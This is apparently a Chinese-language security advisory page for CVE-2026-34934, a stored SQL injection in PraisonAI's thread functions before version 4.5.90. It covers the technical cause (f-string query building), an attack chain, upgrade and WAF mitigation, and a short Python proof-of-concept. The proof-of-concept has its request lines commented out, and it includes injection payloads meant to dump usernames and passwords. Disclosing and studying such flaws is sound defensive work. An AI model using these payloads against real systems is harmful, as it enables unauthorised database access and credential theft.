IPBUF安全漏洞报告
English
CVE-2026-34934 CVSS 9.8 严重

CVE-2026-34934 PraisonAI SQL注入漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34934
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

SQL注入PraisonAI远程代码执行严重漏洞数据库安全CVE-2026-34934

漏洞概述

PraisonAI是一个多智能体团队系统,旨在协调多个AI代理协同工作。在4.5.90版本之前,该系统发现了一个严重的SQL注入安全漏洞(CVE-2026-34934)。漏洞根源在于`get_all_user_threads`函数在构造SQL查询时,直接使用了f-strings拼接从数据库获取且未经转义的线程ID。攻击者可利用`update_thread`功能存储包含恶意SQL代码的线程ID。一旦应用程序尝试加载线程列表,这些注入的载荷便会在数据库层面执行,最终导致攻击者无需认证即可获取对数据库的完全控制权。

技术细节

该漏洞属于典型的存储型SQL注入漏洞。其技术原理在于应用程序未能正确处理数据清洗与数据库查询之间的安全边界。具体而言,受影响版本的PraisonAI在`get_all_user_threads`函数中,采用了不安全的编程实践,即使用Python的f-string直接格式化字符串来构建原始SQL查询语句。当系统从数据库中读取线程ID并将其嵌入查询时,如果该ID先前被攻击者通过`update_thread`接口植入了恶意的SQL元字符(如单引号、注释符等),数据库解析器会将这些字符解释为SQL指令的一部分,而非普通数据。这使得攻击者能够通过操纵线程ID,执行任意SQL命令,包括读取敏感数据、修改表结构甚至执行系统命令,从而完全控制数据库。

攻击链分析

STEP 1
侦察与发现
攻击者识别目标系统运行的是PraisonAI,且版本低于4.5.90。
STEP 2
注入恶意载荷
攻击者调用`update_thread`接口,将包含SQL指令的恶意字符串(如 `' OR 1=1--`)作为线程ID发送并存储到数据库中。
STEP 3
触发漏洞
等待或诱导应用程序调用`get_all_user_threads`函数,系统从数据库读取被污染的线程ID。
STEP 4
执行SQL命令
由于使用了f-string拼接,恶意ID破坏了原始SQL语句结构,导致数据库执行攻击者预设的SQL代码。
STEP 5
获取权限
攻击者利用SQL注入结果,获取敏感数据、提升权限或控制数据库服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-34934 # Demonstrates how a malicious thread ID can trigger SQL Injection import requests TARGET = "http://localhost:8000" # The payload attempts to dump the users table # This ID is stored via update_thread malicious_id = "' UNION SELECT username, password FROM users--" def exploit(): print(f"[*] Attempting to inject payload via update_thread: {malicious_id}") # Step 1: Store the malicious thread ID update_data = { "thread_id": malicious_id, "content": "Exploitation attempt" } # response = requests.post(f"{TARGET}/api/update_thread", json=update_data) # Step 2: Trigger the vulnerability by loading threads # The app calls get_all_user_threads which constructs SQL like: # SELECT * FROM threads WHERE id = '{malicious_id}' print("[*] Triggering get_all_user_threads to execute payload...") # response = requests.get(f"{TARGET}/api/get_all_user_threads") print("[!] If vulnerable, database data is leaked.") if __name__ == "__main__": exploit()

影响范围

PraisonAI < 4.5.90

防御指南

临时缓解措施
建议立即将PraisonAI升级至4.5.90或更高版本以彻底修复此漏洞。在无法立即升级的情况下,应实施严格的Web应用防火墙(WAF)规则以拦截包含常见SQL注入特征的请求,并限制对`update_thread`接口的访问权限。管理员还应审计数据库日志,检查是否存在异常的查询活动,表明漏洞可能已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表